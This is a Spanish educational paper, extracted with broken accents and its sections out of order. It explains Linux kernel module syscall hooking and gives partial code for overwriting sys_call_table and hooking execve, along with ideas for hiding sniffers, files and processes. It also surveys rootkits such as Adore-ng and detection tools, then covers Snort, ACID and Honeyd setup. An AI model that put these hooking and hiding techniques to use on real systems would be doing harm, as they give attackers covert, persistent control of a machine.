(void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 19: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

